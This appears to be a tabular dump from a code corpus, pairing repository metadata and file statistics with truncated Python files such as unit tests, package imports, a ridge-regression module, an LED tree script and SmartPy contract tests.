9934002210430cadb6d5db7ff0b033d93a53c2ae | 1,138 | py | Python | test/test_all_of_instance_permission_set_response_byond_rights.py | ike709/tgs4-api-pyclient | 97918cfe614cc4ef06ef2485efff163417a8cd44 | [
"MIT"
] | null | null | null | test/test_all_of_instance_permission_set_response_byond_rights.py | ike709/tgs4-api-pyclient | 97918cfe614cc4ef06ef2485efff163417a8cd44 | [
"MIT"
] | null | null | null | test/test_all_of_instance_permission_set_response_byond_rights.py | ike709/tgs4-api-pyclient | 97918cfe614cc4ef06ef2485efff163417a8cd44 | [
"MIT"
] | null | null | null | # coding: utf-8
"""
TGS API
A production scale tool for BYOND server management # noqa: E501
OpenAPI spec version: 9.0.0
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from __future__ import absolute_import
import unittest
import swagger_client
from swagger_client.model... | 28.45 | 154 | 0.77065 | 114 | 1,138 | 7.421053 | 0.596491 | 0.061466 | 0.040189 | 0.052009 | 0.1513 | 0.1513 | 0.1513 | 0.1513 | 0.1513 | 0.1513 | 0 | 0.013684 | 0.165202 | 1,138 | 39 | 155 | 29.179487 | 0.876842 | 0.458699 | 0 | 0.214286 | 1 | 0 | 0.013937 | 0 | 0 | 0 | 0 | 0.025641 | 0 | 1 | 0.214286 | false | 0.214286 | 0.357143 | 0 | 0.642857 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 1 | 1 | 0 | 1 | 0 | 0 | 6 |
99a222dfd65ae2b87c29e4d51739d54a2668e16f | 211 | py | Python | backend/grant/patches.py | DSBUGAY2/zcash-grant-system | 729b9edda13bd1eeb3f445d889264230c6470d7e | [
"MIT"
] | 8 | 2019-06-03T16:29:49.000Z | 2021-05-11T20:38:36.000Z | backend/grant/patches.py | DSBUGAY2/zcash-grant-system | 729b9edda13bd1eeb3f445d889264230c6470d7e | [
"MIT"
] | 342 | 2019-01-15T19:13:58.000Z | 2020-03-24T16:38:13.000Z | backend/grant/patches.py | DSBUGAY2/zcash-grant-system | 729b9edda13bd1eeb3f445d889264230c6470d7e | [
"MIT"
] | 5 | 2019-02-15T09:06:47.000Z | 2022-01-24T21:38:41.000Z | from werkzeug import http, wrappers
from grant.werkzeug_http_fork import dump_cookie
def patch_werkzeug_set_samesite():
http.dump_cookie = dump_cookie
wrappers.base_response.dump_cookie = dump_cookie
| 23.444444 | 52 | 0.819905 | 30 | 211 | 5.4 | 0.5 | 0.308642 | 0.17284 | 0.246914 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.132701 | 211 | 8 | 53 | 26.375 | 0.885246 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | true | 0 | 0.4 | 0 | 0.6 | 0 | 0 | 0 | 0 | null | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
51029f914659a3ab866b75e22b8fb9d023ded3d8 | 372 | py | Python | torch/ao/quantization/__init__.py | svecjan/pytorch | 09d221e8d439bc748b162c028f7eece202688adf | [
"Intel"
] | 3 | 2020-06-11T04:57:15.000Z | 2021-09-15T22:28:52.000Z | torch/ao/quantization/__init__.py | svecjan/pytorch | 09d221e8d439bc748b162c028f7eece202688adf | [
"Intel"
] | 1 | 2021-04-22T18:37:42.000Z | 2021-04-28T00:53:25.000Z | torch/ao/quantization/__init__.py | svecjan/pytorch | 09d221e8d439bc748b162c028f7eece202688adf | [
"Intel"
] | null | null | null | from .fake_quantize import * # noqa: F403
# TODO(future PR): fix the typo, should be `__all__`
_all__ = [
# FakeQuantize (for qat)
'default_fake_quant', 'default_weight_fake_quant',
'default_symmetric_fixed_qparams_fake_quant',
'default_affine_fixed_qparams_fake_quant',
'default_per_channel_weight... | 31 | 54 | 0.755376 | 48 | 372 | 5.208333 | 0.583333 | 0.216 | 0.32 | 0.176 | 0.224 | 0 | 0 | 0 | 0 | 0 | 0 | 0.009494 | 0.150538 | 372 | 11 | 55 | 33.818182 | 0.781646 | 0.225806 | 0 | 0 | 0 | 0 | 0.665493 | 0.602113 | 0 | 0 | 0 | 0.090909 | 0 | 1 | 0 | false | 0 | 0.125 | 0 | 0.125 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
5ad986fc8d5cdda5aa2288bf1c0c2ec4e02308c1 | 142 | py | Python | jade2/deep_learning/torch/__init__.py | RosettaCommons/jade2 | 40affc7c4e0f1f6ee07030e72de284e3484946e7 | [
"BSD-3-Clause"
] | 1 | 2019-12-23T21:52:23.000Z | 2019-12-23T21:52:23.000Z | jade2/deep_learning/torch/__init__.py | RosettaCommons/jade2 | 40affc7c4e0f1f6ee07030e72de284e3484946e7 | [
"BSD-3-Clause"
] | null | null | null | jade2/deep_learning/torch/__init__.py | RosettaCommons/jade2 | 40affc7c4e0f1f6ee07030e72de284e3484946e7 | [
"BSD-3-Clause"
] | 1 | 2021-01-28T18:59:03.000Z | 2021-01-28T18:59:03.000Z | from .layers import *
from .modules import *
from .tensor_creation import *
from .training import *
from .util import *
from .metrics import * | 23.666667 | 30 | 0.753521 | 19 | 142 | 5.578947 | 0.473684 | 0.471698 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.161972 | 142 | 6 | 31 | 23.666667 | 0.890756 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
51c4bdf11005df47125b64ad2de25f2f362c84c2 | 45 | py | Python | tests/files/fail_3.py | NathanVaughn/pyleft | 3e2c0bbf84416afa4ed653a65f3fd37e589c7efa | [
"MIT"
] | null | null | null | tests/files/fail_3.py | NathanVaughn/pyleft | 3e2c0bbf84416afa4ed653a65f3fd37e589c7efa | [
"MIT"
] | 2 | 2021-12-09T00:20:21.000Z | 2022-01-01T23:26:17.000Z | tests/files/fail_3.py | NathanVaughn/pyleft | 3e2c0bbf84416afa4ed653a65f3fd37e589c7efa | [
"MIT"
] | null | null | null | class Car:
def drive(self):
pass
| 11.25 | 20 | 0.533333 | 6 | 45 | 4 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.377778 | 45 | 3 | 21 | 15 | 0.857143 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0.333333 | 0 | 0 | 0.666667 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 6 |
cfb2a0157f30834779e68730d5f0a41146770b7b | 11,175 | py | Python | awips/test/dafTests/testRequestConstraint.py | mjames-upc/python-awips | e2b05f5587b02761df3b6dd5c6ee1f196bd5f11c | [
"BSD-3-Clause"
] | null | null | null | awips/test/dafTests/testRequestConstraint.py | mjames-upc/python-awips | e2b05f5587b02761df3b6dd5c6ee1f196bd5f11c | [
"BSD-3-Clause"
] | null | null | null | awips/test/dafTests/testRequestConstraint.py | mjames-upc/python-awips | e2b05f5587b02761df3b6dd5c6ee1f196bd5f11c | [
"BSD-3-Clause"
] | null | null | null | from dynamicserialize.dstypes.com.raytheon.uf.common.dataquery.requests import RequestConstraint
import unittest
#
# Unit tests for Python implementation of RequestConstraint
#
# SOFTWARE HISTORY
#
# Date Ticket# Engineer Description
# ------------ ---------- ----------- ----... | 49.446903 | 96 | 0.575749 | 1,276 | 11,175 | 5.031348 | 0.085423 | 0.202804 | 0.246262 | 0.102804 | 0.85405 | 0.75109 | 0.723832 | 0.582243 | 0.572741 | 0.470561 | 0 | 0.034241 | 0.184609 | 11,175 | 225 | 97 | 49.666667 | 0.670325 | 0.038031 | 0 | 0.098446 | 0 | 0 | 0.102385 | 0 | 0 | 0 | 0 | 0 | 0.823834 | 1 | 0.072539 | false | 0 | 0.010363 | 0 | 0.093264 | 0 | 0 | 0 | 0 | null | 1 | 1 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
5c73cc7a01f174eb64abd1ee0a0082418ae379cc | 177 | py | Python | hci/event/events/__init__.py | svdpuranik/python-hci | 4920f9555d32704ea918f7ae5d705b18e78281e5 | [
"MIT"
] | 16 | 2017-11-28T18:06:40.000Z | 2022-02-11T09:19:40.000Z | hci/event/events/__init__.py | svdpuranik/python-hci | 4920f9555d32704ea918f7ae5d705b18e78281e5 | [
"MIT"
] | 3 | 2017-12-19T11:19:55.000Z | 2018-01-04T18:32:44.000Z | hci/event/events/__init__.py | svdpuranik/python-hci | 4920f9555d32704ea918f7ae5d705b18e78281e5 | [
"MIT"
] | 9 | 2017-12-18T19:39:10.000Z | 2022-01-25T01:43:03.000Z | from .vendor_specific_event import VendorSpecificEvent
from .hci_command_complete import HCI_CommandComplete
from .vendor_specific import *
from .hci_commands_complete import *
| 35.4 | 54 | 0.875706 | 22 | 177 | 6.681818 | 0.5 | 0.136054 | 0.244898 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.090395 | 177 | 4 | 55 | 44.25 | 0.913043 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
5cd5faa2f1657a44298d0ffb37363aed13343667 | 32,258 | py | Python | supplemental_files/strf/ridge.py | HamiltonLabUT/lab_intro_notebooks | be6e8988307b0fe6ccbca3b4052b14022d3b6de6 | [
"BSD-3-Clause"
] | null | null | null | supplemental_files/strf/ridge.py | HamiltonLabUT/lab_intro_notebooks | be6e8988307b0fe6ccbca3b4052b14022d3b6de6 | [
"BSD-3-Clause"
] | null | null | null | supplemental_files/strf/ridge.py | HamiltonLabUT/lab_intro_notebooks | be6e8988307b0fe6ccbca3b4052b14022d3b6de6 | [
"BSD-3-Clause"
] | null | null | null | #import scipy
import numpy as np
import logging
from supplemental_files.strf.utils import mult_diag, counter
import random
import itertools as itools
#from matplotlib import pyplot as plt
zs = lambda v: (v-v.mean(0))/v.std(0) ## z-score function
ridge_logger = logging.getLogger("ridge_corr")
def ridge(stim, resp, al... | 44.990237 | 136 | 0.724223 | 5,031 | 32,258 | 4.610217 | 0.104949 | 0.010563 | 0.024144 | 0.009054 | 0.834009 | 0.817884 | 0.800595 | 0.788868 | 0.771234 | 0.760369 | 0 | 0.008655 | 0.179769 | 32,258 | 716 | 137 | 45.053073 | 0.867947 | 0.677072 | 0 | 0.46875 | 0 | 0.006944 | 0.134283 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.020833 | false | 0 | 0.024306 | 0 | 0.069444 | 0.048611 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
7a369d8e5b309a9ca92343338bb2f92dd722ce23 | 137,285 | py | Python | 中文转二进制.py | ZSX-JOJO/crawler_html2pdf | 96a72980cda3b1920557112b86bdbddd06c26ca0 | [
"Apache-2.0"
] | 710 | 2017-02-09T10:05:56.000Z | 2019-12-06T08:12:29.000Z | 中文转二进制.py | ZSX-JOJO/crawler_html2pdf | 96a72980cda3b1920557112b86bdbddd06c26ca0 | [
"Apache-2.0"
] | 33 | 2017-02-10T10:03:33.000Z | 2019-07-18T13:45:19.000Z | 中文转二进制.py | ZSX-JOJO/crawler_html2pdf | 96a72980cda3b1920557112b86bdbddd06c26ca0 | [
"Apache-2.0"
] | 627 | 2017-02-10T05:04:56.000Z | 2019-12-12T07:53:14.000Z | content = ""
def encode(text):
encode_content = []
encode_content.append(format(ord(i), 'b'))
print(" ".join(encode_content))
def decode(text):
content = text.split(" ")
decode_content = []
for i in content:
decode_content.append(chr(int(i, 2)))
print("".join(decode_content))
i... | 5,280.192308 | 136,848 | 0.935412 | 8,743 | 137,285 | 14.685577 | 0.110832 | 0.005234 | 0.011651 | 0.00317 | 0.152146 | 0.114793 | 0.09519 | 0.081077 | 0.077713 | 0.074551 | 0 | 0.997331 | 0.064049 | 137,285 | 25 | 136,849 | 5,491.4 | 0.001922 | 0 | 0 | 0.235294 | 0 | 0.058824 | 0.996955 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.117647 | false | 0 | 0 | 0 | 0.117647 | 0.117647 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
7a5acbb190a1bd695ca281787eec29f623ad2b3f | 327 | py | Python | ravens/models/__init__.py | EricCousineau-TRI/deformable-ravens | 6ff2443ba7f6673ba4696484e052441262cc14d7 | [
"Apache-2.0"
] | 98 | 2020-12-23T02:32:01.000Z | 2022-03-30T07:09:59.000Z | ravens/models/__init__.py | EricCousineau-TRI/deformable-ravens | 6ff2443ba7f6673ba4696484e052441262cc14d7 | [
"Apache-2.0"
] | 8 | 2020-12-22T16:17:24.000Z | 2021-10-13T23:44:48.000Z | ravens/models/__init__.py | EricCousineau-TRI/deformable-ravens | 6ff2443ba7f6673ba4696484e052441262cc14d7 | [
"Apache-2.0"
] | 26 | 2020-12-22T16:14:11.000Z | 2022-03-03T10:27:29.000Z | from ravens.models.gt_state import MlpModel
from ravens.models.resnet import ResNet43_8s
from ravens.models.attention import Attention
from ravens.models.transport import Transport
from ravens.models.transport_goal import TransportGoal
from ravens.models.conv_mlp import ConvMLP
from ravens.models.regression import Regr... | 40.875 | 54 | 0.87156 | 46 | 327 | 6.108696 | 0.391304 | 0.24911 | 0.398577 | 0.177936 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.010033 | 0.085627 | 327 | 7 | 55 | 46.714286 | 0.929766 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
8fcce66e723f1a660c65f5ab91c61908fae6faf6 | 1,587 | py | Python | scripts/row_by_row.py | limsim/rgbxmastree | d10aa7dc47bb2a296d81ac0d8b1d8f199cb82dda | [
"Apache-2.0"
] | 2 | 2021-12-05T21:19:06.000Z | 2021-12-13T04:34:10.000Z | scripts/row_by_row.py | limsim/rgbxmastree | d10aa7dc47bb2a296d81ac0d8b1d8f199cb82dda | [
"Apache-2.0"
] | 1 | 2021-12-05T21:40:32.000Z | 2021-12-06T21:03:15.000Z | scripts/row_by_row.py | limsim/rgbxmastree | d10aa7dc47bb2a296d81ac0d8b1d8f199cb82dda | [
"Apache-2.0"
] | 1 | 2021-11-11T18:12:58.000Z | 2021-11-11T18:12:58.000Z | from tree import RGBXmasTree
from colorzero import Color, Hue
from time import sleep
import random
tree = RGBXmasTree()
tree.brightness = 0.04
try:
rowOrder = [0,24,19,6,12,16,15,7,1,23,20,5,11,17,14,8,2,22,21,4,10,18,13,9]
row1 = [(1, 1, 1), (0, 0, 0), (0, 0, 0), (0, 0, 0), (0, 0, 0), (0, 0, 0), (1, 1, 1), (1, ... | 41.763158 | 284 | 0.383113 | 382 | 1,587 | 1.591623 | 0.146597 | 0.486842 | 0.631579 | 0.710526 | 0.493421 | 0.493421 | 0.493421 | 0.493421 | 0.493421 | 0.493421 | 0 | 0.298069 | 0.249527 | 1,587 | 38 | 285 | 41.763158 | 0.212427 | 0.15753 | 0 | 0.095238 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.190476 | 0 | 0.190476 | 0 | 0 | 0 | 1 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
890ba818ecf1a57a581739a5eea572fbefa172a3 | 98 | py | Python | memcachepool/tests/__init__.py | dudeitscesar/django-memcached-pool | b1521d5894174cf02720a6946c58249bd3995571 | [
"Apache-2.0"
] | 22 | 2015-01-05T16:21:10.000Z | 2021-03-15T11:59:57.000Z | memcachepool/tests/__init__.py | dudeitscesar/django-memcached-pool | b1521d5894174cf02720a6946c58249bd3995571 | [
"Apache-2.0"
] | 8 | 2015-01-05T18:18:24.000Z | 2022-01-19T14:30:09.000Z | memcachepool/tests/__init__.py | dudeitscesar/django-memcached-pool | b1521d5894174cf02720a6946c58249bd3995571 | [
"Apache-2.0"
] | 10 | 2015-01-27T00:21:22.000Z | 2021-06-25T17:09:18.000Z | import os
def setUp():
os.environ['DJANGO_SETTINGS_MODULE'] = 'memcachepool.tests.settings'
| 16.333333 | 72 | 0.734694 | 12 | 98 | 5.833333 | 0.833333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.132653 | 98 | 5 | 73 | 19.6 | 0.823529 | 0 | 0 | 0 | 0 | 0 | 0.5 | 0.5 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | true | 0 | 0.333333 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
8918123fbc39bf09677ed8df18381cde9705a4bd | 38 | py | Python | losses/xentropy_loss.py | mo-vic/standalone-center-loss | 49730909be09d4eefbd43511227f4e787ad8af51 | [
"MIT"
] | 9 | 2019-09-09T00:29:16.000Z | 2020-03-25T10:18:07.000Z | losses/xentropy_loss.py | mo-vic/ConvLSTM | ce4b57b9370563b1cc90e3e2d0266288dbe6236f | [
"MIT"
] | null | null | null | losses/xentropy_loss.py | mo-vic/ConvLSTM | ce4b57b9370563b1cc90e3e2d0266288dbe6236f | [
"MIT"
] | null | null | null | from torch.nn import CrossEntropyLoss
| 19 | 37 | 0.868421 | 5 | 38 | 6.6 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.105263 | 38 | 1 | 38 | 38 | 0.970588 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
64df32d91b74150dfdaf7f131f5b370d59b832fd | 9,302 | py | Python | smart-contracts/metaverseTrade_test.py | i3games/the-swap | 2acc01ab26407c15cf8868290db47fae723ac7f2 | [
"MIT"
] | 5 | 2021-12-24T00:54:45.000Z | 2022-03-04T09:27:42.000Z | smart-contracts/metaverseTrade_test.py | i3games/the-swap | 2acc01ab26407c15cf8868290db47fae723ac7f2 | [
"MIT"
] | null | null | null | smart-contracts/metaverseTrade_test.py | i3games/the-swap | 2acc01ab26407c15cf8868290db47fae723ac7f2 | [
"MIT"
] | null | null | null | """Unit tests for the MetaverseTrade class.
"""
import smartpy as sp
# Import the metaverseTrade and fa2Contract modules
metaverseTrade = sp.io.import_script_from_url("file:metaverseTrade.py")
fa2Contract = sp.io.import_script_from_url("file:templates/fa2Contract.py")
def get_test_environment():
# Create the t... | 39.922747 | 94 | 0.667491 | 1,184 | 9,302 | 5.150338 | 0.103041 | 0.061988 | 0.075271 | 0.092981 | 0.827156 | 0.807314 | 0.781568 | 0.759101 | 0.758937 | 0.72778 | 0 | 0.043642 | 0.199419 | 9,302 | 232 | 95 | 40.094828 | 0.775211 | 0.141152 | 0 | 0.682635 | 0 | 0 | 0.05369 | 0.006413 | 0 | 0 | 0 | 0 | 0 | 1 | 0.017964 | false | 0 | 0.017964 | 0 | 0.041916 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
8f44a68e996bc4721f3d06f9d7c998ba6a0e847c | 44 | py | Python | flare/translations/__init__.py | phorward/flare | 89a20bd1fb5ef7d0deebbd1f76c58a063e86f41e | [
"MIT"
] | 16 | 2021-05-13T17:17:48.000Z | 2022-03-28T14:58:15.000Z | flare/translations/__init__.py | phorward/flare | 89a20bd1fb5ef7d0deebbd1f76c58a063e86f41e | [
"MIT"
] | 8 | 2021-04-28T04:44:24.000Z | 2022-01-14T11:33:50.000Z | flare/translations/__init__.py | phorward/flare | 89a20bd1fb5ef7d0deebbd1f76c58a063e86f41e | [
"MIT"
] | 6 | 2021-06-14T15:07:53.000Z | 2021-10-31T16:24:07.000Z | from .de import lngDe
from .en import lngEn
| 14.666667 | 21 | 0.772727 | 8 | 44 | 4.25 | 0.75 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.181818 | 44 | 2 | 22 | 22 | 0.944444 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
8f6ed2b9f747c0fc3d8945311077206e61d71e7a | 294 | py | Python | core_get/catalog/download_status_interface.py | core-get/core-get | 8fb960e4e51d0d46b5e3b2f4832eb4a39e0e60f7 | [
"MIT"
] | null | null | null | core_get/catalog/download_status_interface.py | core-get/core-get | 8fb960e4e51d0d46b5e3b2f4832eb4a39e0e60f7 | [
"MIT"
] | null | null | null | core_get/catalog/download_status_interface.py | core-get/core-get | 8fb960e4e51d0d46b5e3b2f4832eb4a39e0e60f7 | [
"MIT"
] | null | null | null | class DownloadStatusInterface:
def download_begin(self, filename: str) -> None:
raise NotImplementedError
def download_progress(self, downloaded: int, size: int) -> None:
raise NotImplementedError
def download_done(self) -> None:
raise NotImplementedError
| 29.4 | 68 | 0.707483 | 29 | 294 | 7.068966 | 0.551724 | 0.160976 | 0.409756 | 0.302439 | 0.380488 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.217687 | 294 | 9 | 69 | 32.666667 | 0.891304 | 0 | 0 | 0.428571 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.428571 | false | 0 | 0 | 0 | 0.571429 | 0 | 1 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 6 |
56a95d3e99b348898879c67116cbcc1fa42000e8 | 95 | py | Python | gauss_fit/__init__.py | semodi/gauss_fit | 5a7c8c1f5541d7388acc11909f06d20e920e9f8b | [
"BSD-3-Clause"
] | 1 | 2021-09-15T09:09:17.000Z | 2021-09-15T09:09:17.000Z | gauss_fit/__init__.py | semodi/gauss_fit | 5a7c8c1f5541d7388acc11909f06d20e920e9f8b | [
"BSD-3-Clause"
] | null | null | null | gauss_fit/__init__.py | semodi/gauss_fit | 5a7c8c1f5541d7388acc11909f06d20e920e9f8b | [
"BSD-3-Clause"
] | null | null | null | from . import fitting
from . import atom
from . import molecule
from . import molecule_classes
| 19 | 30 | 0.789474 | 13 | 95 | 5.692308 | 0.461538 | 0.540541 | 0.486486 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.168421 | 95 | 4 | 31 | 23.75 | 0.936709 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
853d4b995dd8af2bb4fab2695cd571a3e1eb6598 | 208 | py | Python | app.py | anyblockanalytics/thegraph-allocation-optimization | d53927eccfc55f830f249126a950575dbfed2f9e | [
"Apache-2.0"
] | 10 | 2021-04-07T15:51:06.000Z | 2021-12-20T06:07:25.000Z | app.py | anyblockanalytics/thegraph-allocation-optimization | d53927eccfc55f830f249126a950575dbfed2f9e | [
"Apache-2.0"
] | 8 | 2021-04-29T18:55:19.000Z | 2021-10-06T10:46:56.000Z | app.py | anyblockanalytics/thegraph-allocation-optimization | d53927eccfc55f830f249126a950575dbfed2f9e | [
"Apache-2.0"
] | 6 | 2021-04-27T05:31:40.000Z | 2021-12-18T16:53:11.000Z | from src.webapp.overview import streamlitEntry
import pyutilib.subprocess.GlobalData
if __name__ == '__main__':
pyutilib.subprocess.GlobalData.DEFINE_SIGNAL_HANDLERS_DEFAULT = False
streamlitEntry() | 29.714286 | 73 | 0.817308 | 22 | 208 | 7.227273 | 0.772727 | 0.226415 | 0.352201 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.110577 | 208 | 7 | 74 | 29.714286 | 0.859459 | 0 | 0 | 0 | 0 | 0 | 0.038278 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.4 | 0 | 0.4 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
8595398fbdcd46d32951ec8b23e6d9999b1d6726 | 123 | py | Python | proxypay/exceptions.py | AgeuMatheus/django-proxypay | 90736875e434013abe3ea1be5f9ff3100c9005db | [
"MIT"
] | 12 | 2020-05-06T17:07:26.000Z | 2020-10-19T15:41:56.000Z | proxypay/exceptions.py | txiocoder/django-proxypay | 90736875e434013abe3ea1be5f9ff3100c9005db | [
"MIT"
] | 1 | 2020-05-22T14:24:29.000Z | 2020-06-07T10:38:10.000Z | proxypay/exceptions.py | txiocoder/django-proxypay | 90736875e434013abe3ea1be5f9ff3100c9005db | [
"MIT"
] | null | null | null | class ProxypayException(Exception): pass
class ProxypayKeyError(KeyError): pass
